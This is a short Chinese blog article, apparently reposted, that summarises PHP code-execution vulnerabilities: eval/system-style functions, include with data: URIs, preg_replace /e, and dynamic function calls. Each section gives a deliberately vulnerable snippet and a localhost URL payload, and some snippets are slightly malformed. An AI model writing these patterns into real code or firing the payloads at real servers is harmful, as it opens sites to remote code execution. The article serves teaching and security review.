这篇文章介绍的内容是关于php代码执行漏洞总结,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下
php代码执行漏洞总结
ref : http://blog.csdn.net/kuangmang/article/details/27170309
ref : http://blog.csdn.net/fuckcat_2333/article/details/52125951
1 代码执行函数php中可以执行代码的函数有: eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 pcntl_exec()
这些函数中的参数(部分)可控时,则可能命令注入漏洞。通常会使用escapeshellarg对参数进行处理,但在低版本的php库函数中该函数存在漏洞(原因:windows上未对反斜杠进行过滤),需要注意。
2 文件包含代码注入当文件包含函数(include、include_once、require、require_once)中包含输入变量时,可能导致代码注射。
条件:allow_url_include=on,php version>=5.2.0
demo code:
<?phpinclude($_get['a']);?>
访问http://127.0.0.1/demo.php?a=data:text/plain,%3c?php%20phpinfo%28%29;?%3e时,即执行phpinfo()。
3 正则表达代码注入preg_replace()函数:
当pattern中存在/e模式修饰符,匹配上时,即允许执行replacement中的代码。
3.1 第一个(pattern)参数注入条件:magic_quotes_gpc=off,pattern参数中注入/e选项;
demo code:
<?phpecho $regexp = $_get['reg'];
$var = '<php>phpinfo()</php>';
preg_replace(/<php>(.*?)$regexp, '\\1', $var);?>
访问http://127.0.0.1/preg_replace1.php?reg=%3c/php%3e/e
即会执行phpinfo()
3.2 第二个人(replacement)参数注入条件:pattern参数中带/e
<?phppreg_replace("/testxxx/e",$_get['h'],"jutst test testxxx!");?>
提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。
3.3 第三个参数注射4 动态代码执行4.1 动态变量代码执行<?php$dyn_func = $_get['dyn_func'];
$argument = $_get['argument'];
$dyn_func($argument);?>
当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令
4.2 动态函数代码执行关键函数:create_function
demo code:
<?php$foobar = $_get['foobar'];$dyn_func = create_function('$foobar', "echo $foobar;");$dyn_func('');?>
当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令
5 其他array_map()函数
ob_start()函数???
函数处理函数:http://www.php.net/manual/zh/book.funchand.php
相关推荐:
php执行程序php.exe参数解析
以上就是php代码执行漏洞总结的详细内容。